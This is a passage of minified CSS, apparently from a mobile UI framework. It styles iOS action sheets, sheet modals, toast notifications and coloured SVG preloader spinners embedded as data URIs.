.actions-label{text-align:center;overflow:hidden;background:rgba(255,255,255,.95)}.ios .actions-button b,.ios .actions-button.actions-button-bold,.ios .actions-label b,.ios .actions-label.actions-button-bold{font-weight:600}.ios .actions-button:first-child,.ios .actions-label:first-child{border-radius:13px 13px 0 0}.ios .actions-button:last-child,.ios .actions-label:last-child{border-radius:0 0 13px 13px}.ios .actions-button:last-child:after,.ios .actions-label:last-child:after{display:none!important}.ios .actions-button:first-child:last-child,.ios .actions-label:first-child:last-child{border-radius:13px}.ios .actions-button{height:57px;line-height:57px;font-size:20px;color:#007aff;white-space:normal;text-overflow:ellipsis;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.ios .actions-button.active-state{background:rgba(230,230,230,.9)}.ios .actions-button-media{margin-left:15px}.ios .actions-button-media i.icon{width:29px;height:29px;font-size:29px}.ios .actions-button-media+.actions-button-text{text-align:left;margin-left:15px}.ios .actions-label{font-size:13px;min-height:57px;padding:8px 10px;color:#8a8a8a;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}@media (orientation:lanscape){.ios .actions-label{min-height:44px}.ios .actions-button{height:44px;line-height:44px}}.ios .actions-grid .actions-group{margin-top:0;border-radius:0;background:rgba(255,255,255,.95)}.ios .actions-grid .actions-group:first-child{border-radius:13px 13px 0 0}.ios .actions-grid .actions-group:last-child{border-radius:0 0 13px 13px}.ios .actions-grid .actions-group:first-child:last-child{border-radius:13px}.ios .actions-grid .actions-group:not(:last-child){margin-bottom:0}.ios .actions-grid .actions-button,.ios .actions-grid .actions-label{border-radius:0!important;background:0 0}.ios .actions-grid .actions-button-media{width:48px;height:48px;margin-left:auto;margin-right:auto}.ios .actions-grid .actions-button-media i.icon{width:48px;height:48px;font-size:48px}.ios .actions-grid .actions-button-media+.actions-button-text{text-align:center}.ios .actions-grid .actions-button{padding:16px;line-height:1;height:auto}.ios .actions-grid .actions-button:after{display:none!important}.ios .actions-grid .actions-button.active-state{background:rgba(230,230,230,.9)}.ios .actions-grid .actions-button-text{margin-top:8px;line-height:16px;height:16px;font-size:12px;color:#757575}.ios .actions-button:after{content:'';position:absolute;background-color:rgba(0,0,0,.2);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .actions-button:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .actions-button:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .actions-label:after{content:'';position:absolute;background-color:rgba(0,0,0,.2);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .actions-label:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .actions-label:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .actions-button.color-red,.ios .actions-label.color-red{color:#ff3b30}.ios .actions-button.color-green,.ios .actions-label.color-green{color:#4cd964}.ios .actions-button.color-blue,.ios .actions-label.color-blue{color:#007aff}.ios .actions-button.color-pink,.ios .actions-label.color-pink{color:#ff2d55}.ios .actions-button.color-yellow,.ios .actions-label.color-yellow{color:#fc0}.ios .actions-button.color-orange,.ios .actions-label.color-orange{color:#ff9500}.ios .actions-button.color-gray,.ios .actions-label.color-gray{color:#8e8e93}.ios .actions-button.color-white,.ios .actions-label.color-white{color:#fff}.ios .actions-button.color-black,.ios .actions-label.color-black{color:#000}.ios.device-iphone-x .actions-modal.modal-in{-webkit-transform:translate3d(0,calc(0 - constant(safe-area-inset-bottom)),0);transform:translate3d(0,calc(0 - constant(safe-area-inset-bottom)),0);-webkit-transform:translate3d(0,calc(0 - env(safe-area-inset-bottom)),0);transform:translate3d(0,calc(0 - env(safe-area-inset-bottom)),0)}.sheet-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.4);z-index:13000;visibility:hidden;opacity:0;-webkit-transition-duration:.4s;transition-duration:.4s;z-index:10500}.sheet-backdrop.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.sheet-backdrop.backdrop-in{visibility:visible;opacity:1}.sheet-modal{position:absolute;left:0;bottom:0;width:100%;height:260px;display:none;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);background:#fff;z-index:12500}.sheet-modal.modal-in,.sheet-modal.modal-out{-webkit-transition-duration:.3s;transition-duration:.3s}.sheet-modal.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.sheet-modal.modal-in{display:block;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.sheet-modal.modal-out{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}.sheet-modal .sheet-modal-inner{height:100%;position:relative;overflow:hidden}.sheet-modal .toolbar{position:relative;width:100%}.ios .sheet-modal{background:#cfd5da}.ios .sheet-modal .toolbar{background:#f7f7f8}.ios .sheet-modal .toolbar+.sheet-modal-inner{height:calc(100% - 44px)}.ios .sheet-modal .toolbar~.sheet-modal-inner .page-content{padding-bottom:0}.ios .sheet-modal .toolbar:before{content:'';position:absolute;background-color:#929499;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .sheet-modal .toolbar:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .sheet-modal .toolbar:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios.device-iphone-x .sheet-modal .sheet-modal-inner>.page-content,.ios.device-iphone-x .sheet-modal .toolbar~.sheet-modal-inner .page-content{padding-bottom:constant(safe-area-inset-bottom);padding-bottom:env(safe-area-inset-bottom)}.ios .theme-dark .sheet-modal,.sheet-modal.ios .theme-dark{background-color:#171717}.ios .theme-dark .sheet-modal .toolbar,.sheet-modal.ios .theme-dark .toolbar{background-color:#1b1b1b}.ios .theme-dark .sheet-modal .toolbar:before,.sheet-modal.ios .theme-dark .toolbar:before{background-color:#282829}.toast{-webkit-transition-property:opacity,-webkit-transform;transition-property:opacity,-webkit-transform;transition-property:transform,opacity;transition-property:transform,opacity,-webkit-transform;position:absolute;max-width:568px;z-index:20000;color:#fff;font-size:14px;-webkit-box-sizing:border-box;box-sizing:border-box}.toast.modal-in{opacity:1}.toast .toast-content{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-sizing:border-box;box-sizing:border-box}.toast .toast-text{line-height:20px;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;min-width:0}.toast .toast-button{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.toast.toast-with-icon .toast-content{display:block;text-align:center}.toast.toast-with-icon .toast-text{text-align:center}.toast.toast-with-icon .toast-icon .f7-icons{font-size:50px;width:50px;height:50px}.toast.toast-with-icon .toast-icon .material-icons{font-size:48px;width:48px;height:48px}.toast.toast-center{top:50%;opacity:0}@media (min-width:1024px){.toast{opacity:0}}html.with-statusbar.device-ios .toast-top,html.with-statusbar.ios:not(.device-ios):not(.device-android) .toast-top{margin-top:20px}html.with-statusbar.device-iphone-x .toast-top{margin-top:constant(safe-area-inset-top);margin-top:env(safe-area-inset-top)}html.with-statusbar.device-android .toast-top,html.with-statusbar.md:not(.device-ios):not(.device-android) .toast-top{margin-top:24px}.ios .toast{-webkit-transition-duration:450ms;transition-duration:450ms;background:rgba(0,0,0,.75);opacity:0;width:100%;left:0}@supports ((-webkit-backdrop-filter:blur(10px)) or (backdrop-filter:blur(10px))){.ios .toast{background:rgba(0,0,0,.65);-webkit-backdrop-filter:blur(10px);backdrop-filter:blur(10px)}}.ios .toast.toast-center{width:auto;left:50%;border-radius:8px;-webkit-transform:translate3d(-50%,-50%,0);transform:translate3d(-50%,-50%,0)}.ios .toast.toast-center.modal-in{-webkit-transform:translate3d(-50%,-50%,0);transform:translate3d(-50%,-50%,0);opacity:1}.ios .toast.toast-top{top:0;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}.ios .toast.toast-top.modal-in{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}.ios .toast.toast-bottom{bottom:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}.ios .toast.toast-bottom.modal-in{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}@media (min-width:569px){.ios .toast{left:50%;margin-left:-284px}.ios .toast.toast-center{margin-left:0}}@media (min-width:569px){.ios .toast{border-radius:8px}.ios .toast.toast-bottom{bottom:15px}.ios .toast.toast-top{top:15px}}@media (min-width:1024px){.ios .toast{margin-left:0;width:auto}.ios .toast.toast-bottom,.ios .toast.toast-top{left:15px}}.ios .toast-content{padding:12px 15px}.ios .toast-button{color:#fff;margin-left:15px}@media (max-width:568px){.ios.device-iphone-x .toast-bottom .toast-content{padding-bottom:calc(12px + constant(safe-area-inset-bottom));padding-bottom:calc(12px + env(safe-area-inset-bottom))}}@media (min-width:569px){.ios.device-iphone-x .toast-bottom{bottom:calc(15px + constant(safe-area-inset-bottom));bottom:calc(15px + env(safe-area-inset-bottom))}}.preloader{display:inline-block;vertical-align:middle}.preloader-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.4);z-index:13000;visibility:hidden;-webkit-transition-duration:.4s;transition-duration:.4s;visibility:visible;opacity:0;background:0 0}.preloader-backdrop.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.preloader-backdrop.backdrop-in{visibility:visible;opacity:1}.preloader-modal{position:absolute;left:50%;top:50%;padding:8px;background:rgba(0,0,0,.8);z-index:13500;-webkit-transform:translateX(-50%) translateY(-50%);transform:translateX(-50%) translateY(-50%)}.preloader-modal .preloader{display:block!important}html.with-modal-preloader .page-content{overflow:hidden;-webkit-overflow-scrolling:auto}.ios .preloader{width:20px;height:20px;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%236c6c6c'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E");background-position:50%;background-size:100%;background-repeat:no-repeat;-webkit-animation:ios-preloader-spin 1s steps(12,end) infinite;animation:ios-preloader-spin 1s steps(12,end) infinite}.ios .preloader-modal{border-radius:5px}.ios .preloader-modal .preloader{width:34px;height:34px}.ios .preloader.color-red,.ios .preloader.preloader-red{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23ff3b30'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E")}.ios .preloader.color-green,.ios .preloader.preloader-green{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%234cd964'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E")}.ios .preloader.color-blue,.ios .preloader.preloader-blue{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23007aff'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E")}.ios .preloader.color-pink,.ios .preloader.preloader-pink{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23ff2d55'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E")}.ios .preloader.color-yellow,.ios .preloader.preloader-yellow{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23ffcc00'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E")}.ios .preloader.color-orange,.ios .preloader.preloader-orange{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23ff9500'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E")}.ios .preloader.color-gray,.ios .preloader.preloader-gray{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%238e8e93'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E")}.ios .preloader.color-white,.ios .preloader.preloader-white{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23ffffff'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C